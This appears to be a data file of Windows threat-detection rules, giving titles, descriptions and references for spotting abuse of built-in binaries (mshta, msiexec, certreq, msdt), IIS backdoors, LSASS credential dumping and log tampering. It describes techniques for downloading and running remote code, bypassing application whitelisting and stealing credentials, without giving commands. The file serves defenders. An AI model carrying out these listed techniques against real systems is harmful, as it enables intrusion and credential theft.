Disable Windows IIS HTTP Logging	Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging
Microsoft IIS Service Account Password Dumped	Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords	https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html, https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA, https://www.netspi.com/blog/technical/network-penetration-testing/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/
IIS Native-Code Module Command Line Installation	Detects suspicious IIS native-code module installations via command line	https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/, https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
Suspicious IIS URL GlobalRules Rewrite Via AppCmd	Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.	https://twitter.com/malmoeb/status/1616702107242971144, https://learn.microsoft.com/en-us/answers/questions/739120/how-to-add-re-write-global-rule-with-action-type-r
Microsoft IIS Connection Strings Decryption	Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.	https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html
Suspicious IIS Module Registration	Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors	https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
C# IL Code Compilation Via Ilasm.EXE	Detects the use of "Ilasm.EXE" in order to compile C# intermediate (IL) code to EXE or DLL.	https://lolbas-project.github.io/lolbas/Binaries/Ilasm/, https://www.echotrail.io/insights/search/ilasm.exe
ImagingDevices Unusual Parent/Child Processes	Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity	https://thedfirreport.com/2022/09/26/bumblebee-round-two/
Arbitrary File Download Via IMEWDBLD.EXE	Detects usage of "IMEWDBLD.exe" to download arbitrary files	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download, https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/
InfDefaultInstall.exe .inf Execution	Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution, https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/
File Download Via InstallUtil.EXE	Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\"	https://github.com/LOLBAS-Project/LOLBAS/pull/239
Suspicious Execution of InstallUtil Without Log	Uses the .NET InstallUtil.exe application in order to execute image without log	https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/, https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
Suspicious Shells Spawn by Java Utility Keytool	Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)	https://redcanary.com/blog/intelligence-insights-december-2021, https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
Suspicious Child Process Of Manage Engine ServiceDesk	Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service	https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/, https://github.com/horizon3ai/CVE-2022-47966/blob/3a51c6b72ebbd87392babd955a8fbeaee2090b35/CVE-2022-47966.py, https://blog.viettelcybersecurity.com/saml-show-stopper/
Java Running with Remote Debugging	Detects a JAVA process running with remote debugging allowing more than just localhost to connect	https://dzone.com/articles/remote-debugging-java-applications-with-jdwp
Suspicious Processes Spawned by Java.EXE	Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)	https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/
Shell Process Spawned by Java.EXE	Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)	https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/
Suspicious SysAidServer Child	Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)	https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/
JScript Compiler Execution	Detects the execution of the "jsc.exe" (JScript Compiler). Attacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting.	https://lolbas-project.github.io/lolbas/Binaries/Jsc/, https://www.phpied.com/make-your-javascript-a-windows-exe/, https://twitter.com/DissectMalware/status/998797808907046913
Kavremover Dropped Binary LOLBIN Usage	Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.	https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea
Windows Kernel Debugger Execution	Detects execution of the Windows Kernel Debugger "kd.exe".	Internal Research
Computer Password Change Via Ksetup.EXE	Detects password change for the computer's domain account or host principal via "ksetup.exe"	https://twitter.com/Oddvarmoe/status/1641712700605513729, https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup
Potentially Suspicious Child Process of KeyScrambler.exe	Detects potentially suspicious child processes of KeyScrambler.exe	https://twitter.com/DTCERT/status/1712785421845790799
Active Directory Structure Export Via Ldifde.EXE	Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.	https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit, https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
Logged-On User Password Change Via Ksetup.EXE	Detects password change for the logged-on user's via "ksetup.exe"	https://learn.microsoft.com/en-gb/windows-server/administration/windows-commands/ksetup
Import LDAP Data Interchange Format File Via Ldifde.EXE	Detects the execution of "Ldifde.exe" with the import flag "-i". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.	https://twitter.com/0gtweet/status/1564968845726580736, https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
Uncommon Link.EXE Parent Process	Detects an uncommon parent process of "LINK.EXE". Link.EXE in Microsoft incremental linker. Its a utility usually bundled with Visual Studio installation. Multiple utilities often found in the same folder (editbin.exe, dumpbin.exe, lib.exe, etc) have a hardcode call to the "LINK.EXE" binary without checking its validity. This would allow an attacker to sideload any binary with the name "link.exe" if one of the aforementioned tools get executed from a different location. By filtering the known locations of such utilities we can spot uncommon parent process of LINK.EXE that might be suspicious or malicious.	https://twitter.com/0gtweet/status/1560732860935729152
Rebuild Performance Counter Values Via Lodctr.EXE	Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.	https://learn.microsoft.com/en-us/windows/security/identity-protection/virtual-smart-cards/virtual-smart-card-tpmvscmgr
Suspicious Windows Trace ETW Session Tamper Via Logman.EXE	Detects the execution of "logman" utility in order to disable or delete Windows trace sessions	https://twitter.com/0gtweet/status/1359039665232306183?s=21, https://ss64.com/nt/logman.html
Suspicious CustomShellHost Execution	Detects the execution of CustomShellHost binary where the child isn't located in 'C:\Windows\explorer.exe'	https://github.com/LOLBAS-Project/LOLBAS/pull/180, https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/
LOLBAS Data Exfiltration by DataSvcUtil.exe	Detects when a user performs data exfiltration by using DataSvcUtil.exe	https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6, https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe, https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services, https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services, https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/
Devtoolslauncher.exe Executes Specified Binary	The Devtoolslauncher.exe executes other binary	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/, https://twitter.com/_felamos/status/1179811992841797632
DeviceCredentialDeployment Execution	Detects the execution of DeviceCredentialDeployment to hide a process from view	https://github.com/LOLBAS-Project/LOLBAS/pull/147
Suspicious Diantz Alternate Data Stream Execution	Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.	https://lolbas-project.github.io/lolbas/Binaries/Diantz/
Suspicious Diantz Download and Compress Into a CAB File	Download and compress a remote file and store it in a cab file on local machine.	https://lolbas-project.github.io/lolbas/Binaries/Diantz/
Suspicious Extrac32 Execution	Download or Copy file with Extrac32	https://lolbas-project.github.io/lolbas/Binaries/Extrac32/
Suspicious Extrac32 Alternate Data Stream Execution	Extract data from cab file and hide it in an alternate data stream	https://lolbas-project.github.io/lolbas/Binaries/Extrac32/
Potential Reconnaissance Activity Via GatherNetworkInfo.VBS	Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine	https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs, https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
Gpscript Execution	Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy	https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/, https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
Ie4uinit Lolbin Use From Invalid Path	Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories	https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/, https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
Launch-VsDevShell.PS1 Proxy Execution	Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.	https://twitter.com/nas_bench/status/1535981653239255040
Potential Manage-bde.wsf Abuse To Proxy Execution	Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution	https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/, https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712, https://twitter.com/bohops/status/980659399495741441, https://twitter.com/JohnLaTwC/status/1223292479270600706, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md
Mavinject Inject DLL Into Running Process	Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md, https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e, https://twitter.com/gN3mes1s/status/941315826107510784, https://reaqta.com/2017/12/mavinject-microsoft-injector/, https://twitter.com/Hexacorn/status/776122138063409152, https://github.com/SigmaHQ/sigma/issues/3742, https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection
MpiExec Lolbin	Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary	https://twitter.com/mrd0x/status/1465058133303246867, https://learn.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps
Execute Files with Msdeploy.exe	Detects file execution using the msdeploy.exe lolbin	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/, https://twitter.com/pabraeken/status/995837734379032576, https://twitter.com/pabraeken/status/999090532839313408
Execute MSDT Via Answer File	Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)	https://lolbas-project.github.io/lolbas/Binaries/Msdt/
Use of OpenConsole	Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting	https://twitter.com/nas_bench/status/1537563834478645252
OpenWith.exe Executes Specified Binary	The OpenWith.exe executes other binary	https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml, https://twitter.com/harr0ey/status/991670870384021504
Use of Pcalua For Execution	Detects execition of commands and binaries from the context of The program compatibility assistant (Pcalua.exe). This can be used as a LOLBIN in order to bypass application whitelisting.	https://lolbas-project.github.io/lolbas/Binaries/Pcalua/, https://pentestlab.blog/2020/07/06/indirect-command-execution/
Indirect Command Execution By Program Compatibility Wizard	Detect indirect command execution via Program Compatibility Assistant pcwrun.exe	https://twitter.com/pabraeken/status/991335019833708544, https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/
Execute Pcwrun.EXE To Leverage Follina	Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability	https://twitter.com/nas_bench/status/1535663791362519040
Code Execution via Pcwutl.dll	Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.	https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/, https://twitter.com/harr0ey/status/989617817849876488
Execute Code with Pester.bat as Parent	Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)	https://twitter.com/Oddvarmoe/status/993383596244258816, https://twitter.com/_st0pp3r_/status/1560072680887525378
Execute Code with Pester.bat	Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)	https://twitter.com/Oddvarmoe/status/993383596244258816, https://github.com/api0cradle/LOLBAS/blob/d148d278f5f205ce67cfaf49afdfb68071c7252a/OSScripts/pester.md
PrintBrm ZIP Creation of Extraction	Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.	https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/
Pubprn.vbs Proxy Execution	Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.	https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
DLL Execution via Rasautou.exe	Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.	https://lolbas-project.github.io/lolbas/Binaries/Rasautou/, https://github.com/fireeye/DueDLLigence, https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html
REGISTER_APP.VBS Proxy Execution	Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.	https://twitter.com/sblmsrsn/status/1456613494783160325?s=20
Use of Remote.exe	Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.	https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/
Replace.exe Usage	Detects the use of Replace.exe which can be used to replace file with another file	https://lolbas-project.github.io/lolbas/Binaries/Replace/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/replace
Lolbin Runexehelper Use As Proxy	Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs	https://twitter.com/0gtweet/status/1206692239839289344, https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/
Suspicious Runscripthelper.exe	Detects execution of powershell scripts via Runscripthelper.exe	https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/
Use of Scriptrunner.exe	The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting	https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/
Using SettingSyncHost.exe as LOLBin	Detects using SettingSyncHost.exe to run hijacked binary	https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin
Use Of The SFTP.EXE Binary As A LOLBIN	Detects the usage of the "sftp.exe" binary as a LOLBIN by abusing the "-D" flag	https://github.com/LOLBAS-Project/LOLBAS/pull/264
Suspicious Certreq Command to Download	Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files	https://lolbas-project.github.io/lolbas/Binaries/Certreq/
Suspicious Driver Install by pnputil.exe	Detects when a possible suspicious driver is being installed via pnputil.exe lolbin	https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax, https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html
Suspicious GrpConv Execution	Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors	https://twitter.com/0gtweet/status/1526833181831200770
Dumping Process via Sqldumper.exe	Detects process dump via legitimate sqldumper.exe binary	https://twitter.com/countuponsec/status/910977826853068800, https://twitter.com/countuponsec/status/910969424215232518, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/
SyncAppvPublishingServer Execute Arbitrary PowerShell Code	Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code	Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md, https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
Potential DLL Injection Or Execution Using Tracker.exe	Detects potential DLL injection and execution using "Tracker.exe"	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
Use of TTDInject.exe	Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)	https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/
Time Travel Debugging Utility Usage	Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.	https://lolbas-project.github.io/lolbas/Binaries/Tttracer/, https://twitter.com/mattifestation/status/1196390321783025666, https://twitter.com/oulusoyum/status/1191329746069655553
Lolbin Unregmp2.exe Use As Proxy	Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"	https://lolbas-project.github.io/lolbas/Binaries/Unregmp2/
UtilityFunctions.ps1 Proxy Dll	Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.	https://lolbas-project.github.io/lolbas/Scripts/UtilityFunctions/
Use of VisualUiaVerifyNative.exe	VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac, https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/, https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad
Visual Basic Command Line Compiler Usage	Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.	https://lolbas-project.github.io/lolbas/Binaries/Vbc/
Use of VSIISExeLauncher.exe	The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries	https://lolbas-project.github.io/lolbas/OtherMSBinaries/VSIISExeLauncher/
Use of Wfc.exe	The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/, https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac
Potential Register_App.Vbs LOLScript Abuse	Detects potential abuse of the "register_app.vbs" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.	https://twitter.com/sblmsrsn/status/1456613494783160325?s=20, https://github.com/microsoft/Windows-classic-samples/blob/7cbd99ac1d2b4a0beffbaba29ea63d024ceff700/Samples/Win7Samples/winbase/vss/vsssampleprovider/register_app.vbs
Potential Credential Dumping Via LSASS Process Clone	Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity	https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/, https://twitter.com/Hexacorn/status/1420053502554951689, https://twitter.com/SBousseaden/status/1464566846594691073?s=20
Potential Mftrace.EXE Abuse	Detects child processes of the "Trace log generation tool for Media Foundation Tools" (Mftrace.exe) which can abused to execute arbitrary binaries.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/
MMC20 Lateral Movement	Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe	https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/, https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing
MMC Spawning Windows Shell	Detects a Windows command line executable started from MMC	https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
CodePage Modification Via MODE.COM To Russian Language	Detects a CodePage modification using the "mode.com" utility to Russian language. This behavior has been used by threat actors behind Dharma ransomware.	https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode, https://strontic.github.io/xcyclopedia/library/mode.com-59D1ED51ACB8C3D50F1306FD75F20E99.html, https://www.virustotal.com/gui/file/5e75ef02517afd6e8ba6462b19217dc4a5a574abb33d10eb0f2bab49d8d48c22/behavior
Potential Suspicious Mofcomp Execution	Detects execution of the "mofcomp" utility as a child of a suspicious shell or script running utility or by having a suspicious path in the commandline. The "mofcomp" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. Attackers abuse this utility to install malicious MOF scripts	https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/, https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml, https://learn.microsoft.com/en-us/windows/win32/wmisdk/mofcomp
Potential Mpclient.DLL Sideloading Via Defender Binaries	Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.	https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool
File Download Via Windows Defender MpCmpRun.EXE	Detects the use of Windows Defender MpCmdRun.EXE to download files	https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866, https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
Suspicious Msbuild Execution By Uncommon Parent Process	Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process	https://app.any.run/tasks/abdf586e-df0c-4d39-89a7-06bf24913401/, https://www.echotrail.io/insights/search/msbuild.exe
Windows Defender Definition Files Removed	Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
Potential Arbitrary Command Execution Using Msdt.EXE	Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability	https://twitter.com/nao_sec/status/1530196847679401984, https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/, https://twitter.com/_JohnHammond/status/1531672601067675648
Suspicious Cabinet File Execution Via Msdt.EXE	Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190	https://twitter.com/nas_bench/status/1537896324837781506, https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0, https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd
Arbitrary File Download Via MSEDGE_PROXY.EXE	Detects usage of "msedge_proxy.exe" to download arbitrary files	https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/
Suspicious MSDT Parent Process	Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation	https://twitter.com/nao_sec/status/1530196847679401984, https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
Remotely Hosted HTA File Executed Via Mshta.EXE	Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file	https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
Wscript Shell Run In CommandLine	Detects the presence of the keywords "Wscript", "Shell" and "Run" in the command, which could indicate a suspicious activity	https://web.archive.org/web/20220830122045/http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html, https://blog.talosintelligence.com/modernloader-delivers-multiple-stealers-cryptominers-and-rats/
Suspicious JavaScript Execution Via Mshta.EXE	Detects execution of javascript code using "mshta.exe".	https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md
Potential LethalHTA Technique Execution	Detects potential LethalHTA technique where the "mshta.exe" is spawned by an "svchost.exe" process	https://codewhitesec.blogspot.com/2018/07/lethalhta.html
Suspicious MSHTA Child Process	Detects a suspicious process spawning from an "mshta.exe" process, which could be indicative of a malicious HTA script execution	https://www.trustedsec.com/july-2015/malicious-htas/
MSHTA Suspicious Execution 01	Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism	http://blog.sevagas.com/?Hacking-around-HTA-files, https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356, https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/xml/xslt/xslt-stylesheet-scripting-using-msxsl-script, https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997, https://twitter.com/mattifestation/status/1326228491302563846
Suspicious Mshta.EXE Execution Patterns	Detects suspicious mshta process execution patterns	https://en.wikipedia.org/wiki/HTML_Application, https://www.echotrail.io/insights/search/mshta.exe, https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
DllUnregisterServer Function Call Via Msiexec.EXE	Detects MsiExec loading a DLL and calling its DllUnregisterServer function	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md, https://lolbas-project.github.io/lolbas/Binaries/Msiexec/, https://twitter.com/_st0pp3r_/status/1583914515996897281
Suspicious MsiExec Embedding Parent	Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
Suspicious Msiexec Execute Arbitrary DLL	Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md, https://twitter.com/_st0pp3r_/status/1583914515996897281
Msiexec Quiet Installation	Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md, https://twitter.com/_st0pp3r_/status/1583914244344799235
Suspicious Msiexec Quiet Install From Remote Location	Detects usage of Msiexec.exe to install packages hosted remotely quietly	https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
Potential MsiExec Masquerading	Detects the execution of msiexec.exe from an uncommon directory	https://twitter.com/200_okay_/status/1194765831911215104
MsiExec Web Install	Detects suspicious msiexec process starts with web addresses as parameter	https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
Arbitrary File Download Via MSOHTMED.EXE	Detects usage of "MSOHTMED" to download arbitrary files	https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
